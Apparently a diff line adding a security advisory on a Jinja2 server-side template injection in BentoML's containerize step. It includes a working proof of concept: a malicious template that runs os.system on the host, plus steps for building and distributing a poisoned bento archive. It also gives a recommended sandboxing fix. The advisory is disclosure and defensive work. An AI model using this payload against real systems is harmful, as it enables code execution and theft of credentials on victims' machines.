+ "details": "## Summary\n\nThe Dockerfile generation function `generate_containerfile()` in `src/bentoml/_internal/container/generate.py` uses an unsandboxed `jinja2.Environment` with the `jinja2.ext.do` extension to render user-provided `dockerfile_template` files. When a victim imports a malicious bento archive and runs `bentoml containerize`, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.\n\n## Details\n\nThe vulnerability exists in the `generate_containerfile()` function at `src/bentoml/_internal/container/generate.py:155-157`:\n\n```python\nENVIRONMENT = Environment(\n extensions=[\"jinja2.ext.do\", \"jinja2.ext.loopcontrols\", \"jinja2.ext.debug\"],\n trim_blocks=True,\n lstrip_blocks=True,\n loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),\n)\n```\n\nThis creates an **unsandboxed** `jinja2.Environment` with two dangerous extensions:\n- `jinja2.ext.do` — enables `{% do %}` tags that execute arbitrary Python expressions\n- `jinja2.ext.debug` — exposes internal template engine state\n\n**Attack path:**\n\n1. **Attacker builds a bento** with `dockerfile_template` set in `bentofile.yaml`. During `bentoml build`, `DockerOptions.write_to_bento()` (`build_config.py:272-276`) copies the template file into the bento archive at `env/docker/Dockerfile.template`:\n\n```python\nif self.dockerfile_template is not None:\n shutil.copy2(\n resolve_user_filepath(self.dockerfile_template, build_ctx),\n docker_folder / \"Dockerfile.template\",\n )\n```\n\n2. **Attacker exports** the bento as a `.bento` or `.tar.gz` archive and distributes it (via S3, HTTP, direct sharing, etc.).\n\n3. **Victim imports** the bento with `bentoml import bento.tar` — no validation of template content is performed.\n\n4. **Victim containerizes** with `bentoml containerize`. The `construct_containerfile()` function (`__init__.py:198-204`) detects the template and sets the path:\n\n```python\ndocker_attrs[\"dockerfile_template\"] = \"env/docker/Dockerfile.template\"\n```\n\n5. **`generate_containerfile()`** (`generate.py:181-192`) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:\n\n```python\nuser_templates = docker.dockerfile_template\nif user_templates is not None:\n dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx))\n user_templates = os.path.basename(user_templates)\n TEMPLATES_PATH.append(dir_path)\n environment = ENVIRONMENT.overlay(\n loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True)\n )\n template = environment.get_template(\n user_templates,\n globals={\"bento_base_template\": template, **J2_FUNCTION},\n )\n# ...\nreturn template.render(...) # <-- SSTI executes here, on the HOST\n```\n\n**Critical distinction**: Commands in `docker.commands` or `docker.post_commands` execute *inside* the Docker build container (isolated). SSTI payloads execute Python directly on the **host machine** during template rendering, *before* Docker is invoked. This bypasses all container isolation.\n\n## PoC\n\n**Step 1: Create malicious template `evil.j2`:**\n\n```jinja2\n{% extends bento_base_template %}\n{% block SETUP_BENTO_COMPONENTS %}\n{{ super() }}\n{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('id > /tmp/pwned') %}\n{% endblock %}\n```\n\n**Step 2: Create `bentofile.yaml` referencing the template:**\n\n```yaml\nservice: 'service:MyService'\ndocker:\n dockerfile_template: ./evil.j2\n```\n\n**Step 3: Attacker builds and exports:**\n\n```bash\nbentoml build\nbentoml export myservice:latest bento.tar\n```\n\n**Step 4: Victim imports and containerizes:**\n\n```bash\nbentoml import bento.tar\nbentoml containerize myservice:latest\n```\n\n**Step 5: Verify host code execution:**\n\n```bash\ncat /tmp/pwned\n# Output: uid=1000(victim) gid=1000(victim) groups=...\n```\n\nThe SSTI payload executes on the host during template rendering, before any Docker container is created.\n\n**Standalone verification that the Jinja2 Environment allows code execution:**\n\n```bash\npython3 -c \"\nfrom jinja2 import Environment\nenv = Environment(extensions=['jinja2.ext.do'])\nt = env.from_string(\\\"{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('echo SSTI_WORKS') %}\\\")\nt.render()\n\"\n# Output: SSTI_WORKS\n```\n\n## Impact\n\nAn attacker who distributes a malicious bento archive can achieve **arbitrary code execution on the host machine** of any user who imports and containerizes the bento. This gives the attacker:\n\n- Full access to the host filesystem (source code, credentials, SSH keys, cloud tokens)\n- Ability to install backdoors or pivot to other systems\n- Access to environment variables containing secrets (API keys, database credentials)\n- Potential supply chain compromise if the victim's machine is a CI/CD runner\n\nThe attack is particularly dangerous because:\n1. Users may reasonably expect `bentoml containerize` to be a safe build operation\n2. The malicious template is embedded inside the bento archive and not visible without manual inspection\n3. Execution happens on the host, not inside a Docker container, bypassing all isolation\n\n## Recommended Fix\n\nReplace the unsandboxed `jinja2.Environment` with `jinja2.sandbox.SandboxedEnvironment` and remove the dangerous `jinja2.ext.do` and `jinja2.ext.debug` extensions, which are unnecessary for Dockerfile template rendering.\n\nIn `src/bentoml/_internal/container/generate.py`, change lines 155-157:\n\n```python\n# Before (VULNERABLE):\nfrom jinja2 import Environment\n# ...\nENVIRONMENT = Environment(\n extensions=[\"jinja2.ext.do\", \"jinja2.ext.loopcontrols\", \"jinja2.ext.debug\"],\n trim_blocks=True,\n lstrip_blocks=True,\n loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),\n)\n\n# After (FIXED):\nfrom jinja2.sandbox import SandboxedEnvironment\n# ...\nENVIRONMENT = SandboxedEnvironment(\n extensions=[\"jinja2.ext.loopcontrols\"],\n trim_blocks=True,\n lstrip_blocks=True,\n loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),\n)\n```\n\nAdditionally, review the second unsandboxed Environment in `build_config.py:499-504` which also uses `jinja2.ext.debug`:\n\n```python\n# build_config.py:499 - also fix:\nenv = jinja2.sandbox.SandboxedEnvironment(\n variable_start_string=\"<<\",\n variable_end_string=\">>\",\n loader=jinja2.FileSystemLoader(os.path.dirname(__file__), followlinks=True),\n)\n```",
0 commit comments